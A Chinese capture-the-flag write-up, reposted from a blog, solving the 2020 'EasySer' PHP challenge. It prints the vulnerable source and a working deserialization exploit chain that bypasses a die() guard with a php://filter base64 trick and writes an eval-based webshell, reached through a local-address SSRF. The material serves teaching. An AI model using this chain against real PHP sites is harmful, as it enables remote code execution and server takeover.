标签:__ hero text EasySer 羊城 2020 file php public
[羊城杯 2020]EasySer
EasySer
考点
1) PHP 基础代码审计
2) SSRF本地文件读取
3) 反序列化写入webshell,绕过死亡绕过
思路
1) 源码写了不安全协议从本地,想到http 和127.0.0.1
2) 读源码看反序列化,写入shell
3) 伪协议base64绕过die(),rot13等等都可以
Payload
buuctf上做这道题时,页面让我一脸茫然,一度怀疑环境坏了…
没啥好利用的东西,用脚本扫一下敏感信息发现存在robots.txt,提示我们
/star1.php
F12查看提示我们用不安全的协议读取ser.php文件,利用
http://127.0.0.1/star1.php
试试,得到ser.php的源码
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text="") {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
构造POC链,我们利用伪协议将一句话木马写入文件中
<?php
class GWHT{
public $hero;
}
class Yongen{
public $file;
public $text;
}
$door = new GWHT();
$door->hero = new Yongen();
$door->hero->file = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';
$door->hero->text = 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==';
echo urlencode(serialize($door))."\n";
?>
蚁剑测试连接shell.php
获取flag,这里的flag并不是根目录下的/flag
标签:__,hero,text,EasySer,羊城,2020,file,php,public 来源: https://blog.csdn.net/LYJ20010728/article/details/116945399
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。